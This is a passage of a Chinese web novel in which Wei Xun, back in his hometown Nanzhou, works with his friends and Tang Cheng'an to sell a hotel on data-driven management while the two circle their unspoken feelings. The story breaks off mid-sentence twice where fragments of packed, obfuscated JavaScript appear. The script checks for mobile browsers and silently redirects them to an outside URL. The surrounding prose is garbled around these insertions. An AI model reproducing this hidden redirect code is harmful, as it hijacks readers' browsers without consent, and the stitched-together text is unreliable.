魏寻到底付出了多少,又失去了什么,她根本猜不出来。 北京的漂泊,南州的割离,都成了魏寻的牢笼。 唐成安看着面前温良的魏寻,心情复杂。 忽然,一阵急促的敲门声响起,把唐成安吓了一大跳。 “什,什么情况?”她向后趔趄了几步,脚底不稳。 剧烈的敲门声响过一会儿便停下来,随之传来陌生男人的怒喝: “魏寻!还钱!!” 4. 麻辣烫 “魏寻!还钱!!” 还钱?魏寻什么时候欠人钱了? 门外陌生男人捶着门大吼大叫,急促的敲门声像是在追赶着什么,吓人的阵仗让唐成安不禁后退几步。 魏寻望了望门口,准备起身开门。 “你别动!”唐成安把魏寻吼住。 外面气势汹汹的人不知道什么来历,她不敢让魏寻出去冒险。 “你,你别出去,我出去看看。”唐成安打算把魏寻按下。 “你是个女生,不安全。” 魏寻正要把唐成安拉到身后,唐成安却稳稳站住,一只手臂横在魏寻前面挡住他。 “不行不行!这明显冲你来的,你不能开。”唐成安态度强硬,“还,还是我去,他们看到不是你说不定就走了。” 魏寻犟不过她,只好老老实实坐下。 唐成安清了清嗓子,撸起袖管,把头发弄得乱糟糟的,故作气势,深吸一口气开了门。 门外站了两个人—— 砸门的那个剃着寸头,皮肤黝黑黝黑的,人虽然不高但很结实,整个人好像还带着泥土的味道。 后面的那个穿得倒是整整齐齐的,梳了个潮流的大背头,腕上的金表被太阳照得一闪一闪。 “耶?啷个出来个女娃子?” 唐成安被这一口四川口音整蒙了。 “你是不是又搞错喽?” “怎么可能?这门牌号儿不就是对的吗!” 还没等唐成安开口,门外的这两个人居然先吵起来了。 四川口音和北京口音混杂在一起,听得她开始有些耳鸣。 两个人越吵越凶,唐成安根本插不上嘴。 “你们消停点吧。”魏寻忽然开了口,走到门口把她挡在身后,“一听声音就知道是你们两个。” 唐成安越来越搞不懂局势,但魏寻实在太高了,她也只能踮着脚,从背影的缝隙里瞧一瞧。 魏寻隐约感觉到身后的唐成安窸窸窣窣地动着,这才反应过来,把身子侧开,指着门外的两人给她介绍: “这是周胜天,”魏寻指着前面的那个,“四川人,嘴皮子功夫了得。” “那个是向才申,京圈太子爷,我们一般叫他‘财神’。”魏寻指着后面那人接着介绍。 “放心,他们是我朋友,都是好人,刚刚只是在开玩笑。” 唐成安看着外面两个人笑得贱兮兮的样子,再加上刚刚那吓人的仗势,怎么都猜不到这是个玩笑。 “对了,你来我这是有什么事吗?”魏寻这一问才让唐成安想起正事。 “也没什么,我只是想起来还没有存你电话呢。”唐成安摆摆手,装作无足轻重,不好打扰他们老友相聚。 “没事,我晚点发你。” “你有我电话?” “嗯,第一天就找唐叔要了。” 唐成安这下反倒有些愧疚,结结巴巴地又说道:“那,那你明天记得联系我,我们一起去信号台啊。” 魏寻轻声应下,浅浅的笑意从眼里流露出来。 唐成安左右扫视了一眼周围,自觉在这三兄弟中间待得有些不自在,在得到魏寻的答复后就匆忙跑走了。 看到唐成安走远,向才申便突然一手勾着魏寻的肩膀,边走边把他扯进屋里,语气极具调侃: “不会就是这姑娘吧?” 魏寻没有正面回应,低垂的眼帘似有心事。 “被我猜中了吧?”向才申继续说着,“你小子可太不对劲儿了。” “诶诶诶,对头对头!”周胜天也应和他跟着进到房间里。 “平时你那么客气一人儿,”向才申做出推理的姿势,故意放慢语速卖关子,“对这小妞你却是很……” “依赖!依赖!”周胜天像是看破了什么惊天大秘密一样,直接抢先回答。 “我猜的对不对?”向才申带着有点质问的语气,嘴角因为故意打趣兄弟的小心思高高上扬,正等着看一向自持稳重的魏寻下一秒是如何慌张否认的滑稽画面。 想不到向才申原本只是瞎起哄的一句,竟出乎意料地让公寓内闹哄哄的气氛一瞬间沉寂了下来。 魏寻像被戳中了心事一般,头渐渐低垂,有些自嘲:“但人家可没这心思啊……” 气氛一时间安静又尴尬。 向才申开始反悔起刚刚的追问,周胜天更是脑袋空空呆坐在床上,一时语塞。 魏寻看着平日里聒噪的两人如今居然被一句话堵得没了声响,轻笑了几声:“好了好了,我找你们来可不是为了处理感情问题,东西带来了没?” “当然了,我做事你甭担心。”向才申见状赶紧接下话茬,立马从包里掏出一个电脑处理器递给魏寻,“托人找的,现在市面儿上都少卖,1GHZ的,够您跑数据了吧?” “多谢。”魏寻道了个谢后马上着手组装起来,“你们要留吗?” “当然!难道咱们大老远跑过来就图你一声谢谢啊?” 魏寻点点头,手上一直忙着,又问:“那你们住哪?” 向才申擦了擦他的墨镜,耍帅戴上,一脸傲娇样:“那小爷我肯定是住宾馆去,就你这小破地儿我可受不住。” “我就要和亲亲阿寻睡一个床板板!”周胜天倒乐意之至,在床上撒欢一样滚来滚去。 魏寻早看出他的把戏,转过椅子看着周胜天:“老周你住我隔壁吧,房租我付。” 周胜天蹭地一下起身:“诶诶诶!要得!要得!!” 魏寻和向才申相视一笑,周胜天这钻钱眼儿里的性格还真是难改。 - “嗡嗡嗡……” 唐成安大早上的就被院子里摩托车时不时轰响的发动机声吵醒了,头发都没梳就臭着张脸气哄哄地走出来: “唐成泰!你要死啊!!一大早又在作什么妖……” 即使她眼睛因为睡意还没完全睁开,但也能模模糊糊看到魏寻站在摩托车旁的轮廓,一脸无奈地看着她笑。 天哪!完全忘了和魏寻的约定,这下没脸见人了!! 唐成安知道自己现在的形象实在不好看,急忙跑回去收拾自己。 小妹这一“惊艳亮相”也把本来在热车的唐成泰吓了一跳,他语重心长地拍了拍魏寻的肩膀,叹了口气:“见笑了,见笑了。” 等唐成安急急忙忙收拾完出来,院里就只剩下魏寻一个人。 魏寻已经跨上了车,递过一个头盔给她,她接过头盔戴上,问:“唐成泰呢?” “哦,好像说是有比赛,先走了。” 唐成安听了很是无语,用力将门反锁,把钥匙塞进口袋坐上了摩托后座。 “你怎么把门锁了?唐叔和成泰哥带了钥匙吗?” “管他们带没带呢,一个两个大早上就不见人影的,只知道在外头鬼混,干脆被锁在外面更好。” “成泰哥不是……去比赛了么。” “他的话你还信?他什么时候干过正经事?八成又是和那些小混混赛车去了。”一提到唐成泰她就气不打一处来,“哦对了,你的眼镜。” 魏寻接过眼镜,发现昨天破损的镜片现在已经换成新的,而且似乎还被人仔细擦过,连镜框都换了个款式,不像之前那样显得呆板。 他用指腹缓缓摩挲塑料镜框,纯黑的表面被阳光反射出刺眼的亮光,光点中是唐成安毋庸置疑的用心。 魏寻心中波澜阵阵,唐成安却不以为意,她只是主动抱着魏寻的电脑在后座坐稳,拍拍他:“走吧。” 但魏寻没有发动的意思。 “怎么了?” “呃……成泰哥说路上不太平坦,你,你还是扶着我肩膀吧……” 唐成安被魏寻这话说的愣住了几秒,但也听话地轻轻扶住了肩膀,丝毫没注意到他泛上红晕的耳尖。 魏寻的肩比她想象的宽,是那种安心的宽,她想到昨天挡在自己面前的也是这样的宽度,心脏有些慌乱。 魏寻骑得不算快,所以两人还能感受到风的温柔。 微风偷偷灌进耳朵,带着新雨的淡淡腥味,太阳照出的树影在身上扫过,不觉闷热。 “停,停一下!” 唐成安叫停了魏寻,一个人蹦蹦跳跳跑到街对面,不知道要干什么:“你等等啊,我给你看个好东西!” 魏寻听话地停在路旁,默默注视着唐成安和小店老板娘聊天的笑脸,笑容和记忆中那个十几岁的小姑娘别无二致。 他努力掩饰着自己的慌乱,却发现无法移开视线。 没多久唐成安就拎着一袋东西回来,她把刚买的糕点纸拆开,露出里面黄澄澄的点心,想要递给魏寻:“尝尝。” 魏寻一时没反应过来,一边扶着车,一边抱着电脑,竟然腾不出手。 唐成安拿魏寻笨拙的模样没办法,二话不说直接送到嘴边喂他。 “怎么样?” 魏寻嚼了嚼咽下去,金桔和薄荷让他嘴里凉丝丝的,甜而不腻。 “好吃。” “刘姐家的金桔薄荷酥糕,不赖吧?”唐成安也投了一块到自己嘴里,“只有刘姐家做这个,可遇不可求哦!” “多少钱一个?” “算下来一盒不到五块钱吧,怎,怎么了?” 魏寻指尖轻敲着电脑外壳,咬着嘴唇若有所思。 “咳咳,虽然不知道你在打什么主意,”唐成安打断他的沉默,“但要是 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“张伯,我们给你带了这么个好吃的东西,能不能让我们上去看看呀?”唐成安笑眯眯地说。 “好哦好哦,不过记得要注意安全哦。”说着张伯就从身上掏出把钥匙给了唐成安。 唐成安套在手指上转了转,俏皮地应道:“放心吧。”接着拉上魏寻登上了信号台。 上面的视野果然开阔,南州的城镇一直蔓延到看不见的地平线,一栋连着一栋的居民楼充斥着浓浓的烟火气,在信号台上显得热闹又安静。 “张伯家到底发生了什么?”魏寻还是很好奇。 记忆里的张伯也是这样乐呵呵的,可当时的他是真的开心,不像现在这样强颜欢笑。 他常常会来小学门口摆摊卖热气腾腾的麻辣烫,顺便接张文平回家。 张文平也因此成了那时众人热捧的对象,因为大家都知道,跟了他就有热乎的麻辣烫吃。 “还记得张婶在嫁给张伯前有一段婚姻吧?”唐成安倚着栏杆,慢慢讲起来,“他们其实没离婚,是那家嫌弃张婶出身差,把她赶出来的。” “张文平其实是张婶带来嫁给张伯的,所以他姓的张是张婶的张。” “嗯,我知道。” 信号台地势偏高,迎面刮来的风不比来时路上的轻柔,吹得令人有些麻木,在唐成安欲说还休的平缓讲述中,魏寻知晓了整件事的来龙去脉。 在魏寻离开南州的第二年,张婶就去世了。她原本嫁的那户人家不知怎的找了过来,想要把张文平带走,说他是家里唯一的孙子。 张文平刚开始也是不乐意的,但是一听他亲生父亲现在已经是位军官了,他就毫不犹豫收拾行李打算离开。 张伯不同意,觉得这个畜生愧对他母亲,一直拦着不让走。 两家就这样僵持了半个月,最后张文平把床单系成绳结,在大晚上偷偷从窗户溜走了,十多年都没回来。 张伯伤了心,从此就不喜欢热闹,所以主动申请来信号台守夜。 唐成安迎着风,眼睛有点干涩,魏寻在一旁听了也是默然。 “所以亲情太脆弱啦,一个糟糕的家庭,好像随便什么理由都能撕开一个裂口,然后就像树的年轮一样,循着纹路一圈一圈噼里啪啦地炸开。”唐成安故作轻松感慨万分。 魏寻听了她的话,心里只觉得被揪起来的疼。 糟糕的家庭吗,可唐家不也是么? 如果随便什么理由都能崩裂的话,那她又是因为什么迟迟没有放弃呢? 魏寻觉得眼前的这个女孩,其实一点都不简单。 “你八卦够了吧,还不开始?” 唐成安话锋一转,提醒魏寻要干的正事,魏寻这才慌慌张张打开电脑,继续画起图来。 信号台上能轻易将整个南州饱收眼底,所以画图自然快些。 魏寻边在电脑上标记,唐成安则在旁边替他讲解。 拆掉的电线杆,新修的写字楼,搬进搬出的居民们,中学送走了多少孩子,新房又增添了多少喜庆…… 南州的时光一点点刻在了老百姓的记忆中,藏进了闲聊唠叨里。 “做好了。”魏寻敲下最后的回车键,“现在就需要找出整个南州的中心辐射点……” 唐成安悄咪咪凑了过去。 “就是这。” 随着电脑屏幕一点点放大,一个熟悉的建筑出现在他们眼前。 “这这这……这不是我们酒店吗?!” 5. 茅台白酒 “这这这……这不是我们酒店吗?!” 唐成安怎么都没想到,魏寻说的那个什么辐射点居然是她工作了两年的乐兴酒店。 “等,等等,”唐成安拉住魏寻的袖子,“你刚刚说的那个什么辐射点是怎么回事?” “是这样的,我打算利用大数据和互联网,带动南州的发展。”魏寻耐心解释道,“互联网目前刚刚兴起,虽然还不成熟,但发展空间很大。” “刚才导入数据地图,电脑就能自动计算出城镇的中心区,以中心区为辐射点,迅速找到人流最密集的地方率先突破,从而减少冗余的人员消耗,这就是互联网的魅力。” 唐成安眨巴眨巴眼睛,魏寻回来原来是为了这个。 “那你接下来打算干什么?” 魏寻把电脑盖上,低头思考了一会儿。 “南州工业普遍没有竞争力,发展第三产业需要特色牵引……”魏寻看向唐成安,“我们现在就要把这个特色找出来。” “从,从我们酒店开始?”唐成安有点懵了。 “嗯,”魏寻坚定地点点头,“民以食为天,一切就从吃饭开始。” 唐成安简直是丈二和尚摸不着头脑,可见到魏寻这么坚决,她也想帮上什么忙。 她拍拍胸脯主动出主意:“那好,正好我明天开始轮值,我带你去见我们老板。” 魏寻没想到唐成安明明没听懂却也能这么热心,他冲她偏头而笑,眼神清亮。 “好。” - 隔天魏寻就按照约定的时间来到了乐兴酒店,准备进行一场难度不小的唇枪舌战。 他知道自己不善言辞,所以除了唐成安,他还请了两位“外援”。 “哦哟,这个店好大哦。”周胜天抬头看了看好几层的乐兴酒店,发出一句感慨。 “啧,你可别扯领子了,像什么样儿啊你。”向才申骂骂咧咧。 “谁叫你非要穿什么西装,还做的这么不合身。” “我这是瞎操心吗,咱这趟是赶着去谈生意的,我还不是不想看你被人喊乡巴佬吗?” 其实不管再怎么捯饬,周胜天那一口的四川方言和自带的泥土氛围是永远也盖不住的。 现在宽宽大大的西装垫肩反倒显得他脖子以下瘫痪了似的,只看见衣服直直地垂下来,里面的人手脚却没一点痕迹,何况肩膀以上还插了个黑卤蛋样的小头,整个人滑稽得很。 “好了,别吵了。”魏寻主动打断他们,觉得正事要紧。 向才申的少爷脾气哪里看得惯有人逆着他,瞬间调转矛头指向只随便搭配了一身休闲装的魏寻:“你你你,你还好意思说呢?咱仨铁三角,就你死活不肯配合穿西装,形象直接垮了。” “我又不是负责谈判的,穿什么西装?”魏寻倒是理直气壮。 向才申被怼得简直气炸了,张牙舞爪在大厅里发疯。 魏寻和周胜天则嫌他丢人现眼,偷偷绕道去找唐成安,留向才申一个人折腾他的“行为艺术”。 他们来到酒店三楼,正巧碰到出来的唐成安。 和平常不一样,她今天穿了件灰色的针织衫外套,里面只配了个简单的白色打底,头发随意扎得低低的,脚上却还是配着白色高帮帆布鞋。 整个人不像平常的活泼,有一种大方休闲的气质。 “呀,你们来啦!正好啊,跟我一起去找老板吧。” 唐成安招招手带着两人进了电梯,电梯里唐成安和魏寻并排站着,周胜天却悄悄往后退了几步,企图看两人的好戏。 魏寻强压着起伏得厉害的心跳,摸了摸鼻子开口问:“你,你怎么今天不一样?” “嗯?什么不一样?” “穿,穿着。” “啊,我在这当经理呢,总不能像在家一样穿的那么随意吧,不然可镇不住人呀。” 唐成安的语气听起来很轻松,与魏寻紧张到出汗的手对比强烈。 “怎么没看到向才申?”唐成安这才想起来问,平时的三剑客居然少了一个。 “哦,财神他向来不懂这个的,我和老周直接把他丢楼下让他自己玩去了。” “等,等等,他既不懂推销手段,又不会IT技术,那他的作用是……” “嗯?就是财神啊。”魏寻说得郑重其事。 唐成安愣住了,向才申居然是个人傻钱多的人物,这样叫他财神确实合适得很。 “你们两个能行吗?”少了一个向才申不要紧,但魏寻也不知道多找几个帮手,唐成安见只有一个周胜天跟着,有点为他们捏把汗。 “没事的,别小瞧了老周。” 魏寻这话让她安心了些,她转头看向周胜天,忍不住上下打量,十分好奇一个又黑又小的人能有什么惊天的能耐。 “叩叩叩” 唐成安敲开了老板办公室的门,把魏寻和周胜天领了进去。 “老余老余,有人找你!”唐成安大喊一声。 办公室里的余老板一下从老板椅上惊醒,一屁股没坐稳重重摔在地板上。 “哎呦,小祖宗,你怎么又来了?”余老板扶着桌子狼狈起身,看上去有些害怕唐成安。 “有人找你呀。”唐成安指了指魏寻和周胜天,一脸正经回答道。 “余老板您好,我是昨天约您商量乐兴酒店未来管理结构的。”魏寻率先表面了自己的来意。 “哦哦,成安昨天跟我说了,”余老板摸着屁股坐下,“你们什么想法?” “我们打算利用大数据,将您的酒店作为辐射带动中心点,打造智慧化管理系统。” 余老板被这些花里胡哨的术语整得不明所以,但又不想失了大老板的范儿,故作镇定地问:“那……我能得到什么好处?” “大数据是人力成本的高等替代,如果采用数字化管理……” 没等魏寻说完,周胜天干脆利落地脱下那不合身的西服外套,潇洒地甩在魏寻脸上。 “我看了您酒店的管理结构,人员冗杂、人浮于事是一方面。” “偌大一个酒店连个像样的董事会和监事会都没有,直接越级让经理层管控,分工不明晰,职责混乱又是另一方面。” “如今酒店同质化竞争严重,好在您是个连锁酒店,直接省下营销成本,口碑免费自带。” “假如您肯采用大数据,人员调动和绩效考评都是明摆着的数字,员工裁减就直接省下六成的人力成本。” “而且您这边是数据终端,酒店大大小小的安排尽在手中,根本不可能有越级纠纷发生。” “您就说您可以得到什么好处?”周胜天颇有气势地对着余老板一顿输出,期间甚至没见几次换气。 唐成安明显是被这阵仗惊呆了,将头歪过去小声问魏寻:“他,他怎么没有四川口音了?” 魏寻听到她的问题有些发笑,也学着她把头歪着,答道:“老周就是这样,一到正经的时候就没口音了。” 唐成安顿时觉得周胜天傻乎乎的很可爱。 余老板彻底被绕晕了:“哪有这么麻烦?我手下难道还管不住人?” “老余!你知道我每天看着各种账单有多头大吗?就是你瞎做好人,招来一堆有的没的,平常采买的油水都让人给捞走啦!” 唐成安一个箭步冲上去,气势汹汹地冲着余老板破口大骂。 “还有那些带薪偷懒的,有活赖账的,敷衍了事的,我一个个盯哪里盯得过来啊?” “诶!余老板你看,如果你用大数据管理系统,这些问题不都迎刃而解了吗?”周胜天急忙附上几句。 唐成安和周胜天俩人一唱一和,吓得余老板一动不敢动。 有时候他还真的有点怵眼前这个丫头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641439|156453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“余老板,采用数字化管理您的经营成本将至少削减三成。” 魏寻端着电脑走上前,将详细的预测数据展示给他,他看到眼前屏幕上直观展示的数据和攀升的利润线形图不免心动。 其实余老板还是听不懂其中的名堂,只能打个哈哈敷衍过去:“哈哈哈那好,成安推荐的人肯定不会差,合作愉快!” 有了余老板这句话,这事总算是板上钉钉谈拢了,第一步在唐成安和周胜天堪称完美的里应外合下顺利成功,三人也喜滋滋地离开了办公室。 刚迈出电梯门,唐成安就被人一把拉住手臂。 “成安,成安呐……”身旁的人是赵姐,她小声拉到一边悄悄地说, “四号厅里有个怪人,一个人点了满桌子的菜,还说要请我们这些清洁工吃饭,我看,他八成是来吃霸王餐的……” 霸王餐?在她眼皮底下还敢吃霸王餐? 唐成安撸起袖子来势汹汹地踹开四号厅的大门,准备让里面的人见识一下自己的厉害。 没想到刚挥出拳头,就发现里面坐的是向才申。 “哟,来了啊,坐坐坐。” 他一个人坐在能容下十几二十个人的房间,圆桌上放满了各色菜品,违和的阵仗很难不让人怀疑。 “你要咋子?” “庆功宴啊,瞅瞅你们一个个神采奕奕的,谈成了吧?” “你不嫌抛撒哦?” “哟呵你还别说,这儿物价那可是真便宜。”说着向才申还端了几盘递给赵姐,“大嫂子你们也拿去吃。” 唐成安没想到向才申居然钱包鼓鼓,脑子空空成这种程度,无奈交代赵姐拿下去,让她放心和同事们一起享用。 向才申急急忙忙把三人按着入座,赵姐见双方认识,也安心退下了。 向才申做东,点了一瓶上好的茅台,替凯旋而归的三人满上。 正要开吃,唐成安的手机短信声就嘟嘟嘟响个不停。 对面的魏寻见唐成安不停地回着消息,脸上笑得灿烂,不免好奇:“谁,谁啊?” “哦,我爸给我安排的相亲对象。”说完唐成安就拿起外套准备离开,“我有事先走了啊,你们吃得开心点。” 魏寻呆呆地望着唐成安离开的背影,直到大厅门合拢的那一刻才松了目光。 过于明亮的大堂顶灯将他的脸照得没有生气,圆桌上餐品的热气蒸腾而上,似有似无地朦胧了视线。 心情乱得像是一团缠绕的线,不知道来由,也找不出结尾。 他离开得太久了,原来记忆里的女孩早就到了嫁人的年纪。 如果她还是十几年前那个拿着手电筒跑到宿舍楼下大声向他表白的小姑娘,也许就算是十多年,她也会乐呵呵地心甘情愿等着自己。 可她毕竟已经不是了。 在信号台画图时,魏寻就感到南州发生了天翻地覆的变化,高楼林立,他记忆中的事物都在明明灭灭朝他告别。 原来他什么都留不住。 「“我们……我们以后就好好做一对普通朋友!”」 唐成安那个晚上的话不断在他脑海中重复。 是了,他只不过是个朋友。 魏寻拿起酒杯,一杯接一杯灌下,喉咙开始灼烧的痛。 向才申和周胜天也拿他没办法,只能等他支撑不住倒在桌上时动作利索地将酒杯撤走。 最后是周胜天把他扛回去的,一路上呢喃不清的醉话也许只有魏寻自己才知道。 他踉踉跄跄地扶着魏寻进了公寓,开灯之后发现公寓里新添了一把椅子,椅子是精心挑选过的,人坐在上面很舒服。 魏寻倒在床上,手臂盖住眼睛。 “老周,你说人是不是都会离开?” 周胜天没想到自己也有接不上话的一天。 “我们曾经也是互相喜欢啊……” 6. 特色蜜瓜 “我们曾经也是互相喜欢啊……” 其实当魏寻收到那张巧克力里夹着的字条时,他的态度就已经说明一切了。 小姑娘一直等不到的答复,从来都不是拒绝。 魏寻这样一个客气分寸的人,怎么可能不清不楚呢? 恐怕连他自己都不知道,到底什么时候开始在意起那个整天跟在自己身后,叽叽喳喳像小鸟一样的女孩。 魏寻到福利院的年纪是最小的,关于父母的记忆连街道的摄像头都没能留住。 福利院的护工总是要照顾一堆的孩子,有时候添饭都是随意舀上一勺,小孩子端不稳泼出了一点他们也没办法,继续着急舀下一个,很难顾上每一个人。 所以安静的小魏寻就经常一个人坐在角落。 他觉得自己的成长,每一刻都是别人的负担,他也不愿再麻烦他们了。 他患得患失,敏感内敛。 可是不知从哪一刻开始,唐成安没心没肺的笑容每一次都那样紧紧地抱住了他。 是那次他没考好,又不愿意麻烦别人,忍着泪水一遍又一遍做着错题。 却被小姑娘偷偷拿走了试卷,还来的时候上面满满的都是她缠着老师写下的详细思路和点评吗? 还是那次他不小心患上了流感,初三的晨读稍微晚到了一会儿,却看到小姑娘一个人蜷缩身体趴在低年级空荡荡的教室里,怀里抱着早早熬好送给他的热粥? 可他没办法继续想了,因为还有学业,还有生活。 他这样一个一无所有的人,现在能给出的承诺都是虚浮,又怎么配得上唐成安的笃挚真意呢? 「唐成安,我要考大学,至少要离开十年。 …… 你会等我吗?」 不过魏寻最后还是把那句没说出口的话划掉了,他知道自己不能那么自私。 可他没想到,连着一起划掉的,还有之前那个满心是他的女孩。 - 傍晚,唐成安下了班就走向了人才公寓,想要补上昨天没吃到的庆功宴,刚准备上楼时就碰到了周胜天。 “耶?成安嗷,昨天相亲啷个嘛?”周胜天提着一袋垃圾下了楼,“看你表情安逸得很。” “那当然是很顺利喽!”唐成安一脸高兴的样子。 “哦哟,那好可以。” “你这是去干嘛?” “哦,帮阿寻打点蜂蜜,他昨天喝麻老。” “他怎么喝这么多?” “财神灌的,阿寻是小趴菜,没得几杯就倒喽。” 周胜天突然转过身去:“你也别切打扰他,他现在干哕得不得了。” 唐成安不知道魏寻为什么要喝这么多,但是既然有周胜天在照顾,她也不好打扰他休息,于是只能打消念头默默走了。 不过她没想到,这一走,居然一连好几天都没看到魏寻,去他公寓也找不到人,感觉像是有心避着她似的。 这天唐成安照常上班,刚打开电脑就发现桌面上出现了一个新的程序。 她知道魏寻一定来过。 她匆匆忙忙从办公室跑到走廊,发现赵姐正在楼下扫地。 “赵姐!你有没有看到魏寻来过?” “哎哟喂,你这真是要吓死我这个老婆子了。”赵姐被这一声吓了一跳,抬起头来接着说,“昨天好像来了一会儿,你找他做什么?” 唐成安被问住了。 是啊,她找魏寻做什么?又没有什么重要的事。 “啊……没,没什么,就问一下。”唐成安答不上来,随意敷衍过去。 刚准备回办公室,就被一个熟悉的声音叫住。 “唐成安?怎么是你啊!” 她回头一看,发现面前站着一个熟人。 “青蛙?怎么是你啊!” “真是好久不见了,进来坐坐吧。”唐成安连忙邀请这位老熟人进办公室叙旧。 青蛙,原名谢清华,谐音“青蛙”。 青蛙刚进办公室就上下打量,不由得发出感叹:“你这混得还真不错啊,这么大一办公室都是你的。” 唐成安笑了笑,给他泡了杯茶:“你呢?为什么又回来了?” “说了你肯定想不到——带我女朋友回来见父母!”青蛙一脸得意的样子。 唐成安差点一口茶水喷到他脸上:“你你你,你都要结婚了?” “是啊,要不是你初中那一巴掌,我现在说不定还是那个目中无人的井底之蛙呢,怎么可能找得到对象。” 唐成安和青蛙从初中到高中都是同学,不过只有一次交集——就是那一巴掌。 青蛙不光是名字,其实长相也像只青蛙。 坑坑洼洼的脸上那张又厚又大的嘴巴格外显眼,常年耷拉着嘴角,一脸苦大仇深的样子,看着实在不讨喜。 但他最不讨喜的地方还是在于经常自以为是地以学生会会长身份乱定规矩,尤其针对那些成绩不好的同学。 他知道那些差生喜欢在自习课上以上厕所的借口偷溜出去,所以他直接规定自习课不准上厕所,甚至每节自习课都亲自坐在厕所门口,抓到一次就上通报榜。 有一回唐成安的同桌因为生.理.期肚子痛到出一阵阵的冷汗,甚至开始不停干呕,唐成安扶着她去厕所缓缓,迎面就撞上青蛙。 还没等他们解释,青蛙就刷刷刷记到了违纪本上。 “明天就上榜啊。”青蛙心高气傲地瞥了他们一眼。 唐成安可是出了名的泼妇,一下都不惯着他,一巴掌就把青蛙拍在了女厕所地上,手指指在他的鼻头上破口大骂: “谢清华,人的眼睛有五亿像素,能装下的东西比南州大多了,出去见见世面吧,井底之蛙!” 当然,最后还是出了通报,不过只有唐成安一人,“罪名”是殴打同学。 青蛙现在回忆起来都觉得脸上涨涨的疼。 “当时你说得真好,人的眼睛有五亿像素,是要多装下些东西,多见见世面。” 唐成安不好意思地挠了挠眉毛,只有她自己知道,这句话其实是魏寻说的,只对她说过。 “不过我也没想到,初一还是吊车尾的你,居然和我考上了同一个高中。”青蛙回忆,“你当时用了什么秘诀啊?” 唐成安浅浅笑了,一字一句告诉他: “因为和一个人约定过,要成为更好的自己。” “那你还真做到了啊,这是才毕业两年就当上经理了吧?” 唐成安听到夸奖还有点难为情,赶紧转换了话题:“那你呢?你现在在做什么?” “我去省城一中当老师啦!”青蛙边说边打开了手机相册,“你看看这是谁?” 青蛙的手机像素很低,照片也好像是许久之前的,表面划痕严重,其实唐成安很难看清里面的内容,只能看见照片顶上写的几个大字: 「一九九六年·高三七班毕业留念」 “七”字的下面是十八岁的魏寻。 他的头发有点短,所以能露出眉骨下笑得弯弯的清澈双眼,阳光不偏不倚地落在他半边脸上,照得少年棱角分明。 尽管老照片已经隐隐泛黄,许多人脸依稀难辨,尽管魏寻的样貌不是班上最出众的,但唐成安每次都能一眼找到他。 “你……你能把这张照片发我吗?” “可以啊,你把电话给我。” “我自己输吧。” 唐成安刚把自己的号码存进青蛙手机里的通讯录,一个电话就跳了出来。 “诶诶诶,你女朋友。”唐成安赶紧把手机还给了他。 “估计是在找我了,那我先走了啊!”青蛙把手机揣进口袋,急急忙忙道了个别,“照片我晚点发你!” 唐成安挥了挥手,被青蛙提起来的过往回忆一阵一阵涌入脑海。 原来魏寻从来没有离开过。 他的每一句话都散落在唐成安的生活里,在她的奋笔疾书里,在她的百日誓词里,在她成为优秀大人的脚步里。 - 送走了青蛙,唐成安便回到办公室,准备打开魏寻新安装的程序瞧瞧究竟有什么名堂。 鼠标“咔哒咔哒”双击点进去,一下就蹦出来个整齐的界面,什么绩效考评啊,客流分析啊,每一类都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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专家,还是需要专家,唐成安指尖轻敲桌面陷入思考。 “你想打这主意?” “嗯,蜜瓜既然是特产,那我们可不能放弃这个竞争优势,就是专家这事……” “嗨,早说嘛!”向才申把吃剩的瓜皮扔进垃圾篓,又抽出好几张纸擦手,“我妈这块认识的人多,随便都能给你找几个来。” 天哪,这哪里是财神啊,简直就是哆啦A梦嘛,要啥有啥。 此刻的向才申在唐成安眼里比祖宗都要高大。 “您可太神通了,小的这里虽然没什么值钱货,但您只要看上了就随便拿。”唐成安瞬间变成马屁精,就快要把向才申捧到天上去了,向才申也是表面故作矜持,心里美得很。 吹捧还没结束,唐成安的手机就嗡嗡震了几下——是青蛙把照片发了过来。 看见唐成安盯着手机偷笑,向才申好奇地将头伸了过来:“这不是阿寻么?跟大学是一点儿没变啊。” “你们大学就认识了?” “那可不,咱俩大学同学。”说着说着向才申就拿出了手机翻找着什么,找了好一阵子,他才把手机举到唐成安面前,“喏,这是当时的毕业照。” 照片里魏寻穿着黄领学士服,方正的帽子整整齐齐放在头上,肩膀上搭着向才申的一只手,两个人面对镜头笑得肆意张扬。 还真是一样啊,但和现在就太不一样了。 唐成安一想到如今魏寻蓬头垢面,只会搭配格子衫和成日不变的黑框眼镜,以及无时无刻随身携带电脑的木讷模样就痛心疾首。 “你,你知道他现在为什么变成这样吗?”唐成安自知这个问题有些冒昧,于是补充了一句,“我只是指他的样子,没有别的意思。” 向才申不以为意,边回手机里的消息边漫不经心地回答: “哦,那是因为他被骗了。” 7. 原味康乐果 墨色的浓云挤压着天空,淡漠的风在人和人之间凌厉地穿梭,狂风把落叶旋入高处,惊动了树上栖息的鸟儿。 唐成安独自走在路上,脑海里不断回忆着之前向才申说的话。 「“哦,那是因为他被骗了。”」 二十二岁的魏寻,和同龄人一样,意气风发地想要出去闯荡。 作为学校的优秀毕业生,从大三开始就有不少企业对他伸出橄榄枝。 其中有一家开出的条件极好,难免让人动心。 那是一家新创立的公司,虽说都是群年轻人,并没有什么经验和手段,但想要拉他入股做合伙人,红利四六分。 魏寻起初还是警惕的,在各种平台查找有关信息,自觉摸清了底细才签的合同。 在那个大学生创业的时代,魏寻和大多数人一样,觉得比起为别人打工,他反倒更乐意自己顶着风险当老板冲一冲。 哪知这令人艳羡的时代浪潮,底下其实藏了无数的风云诡谲。 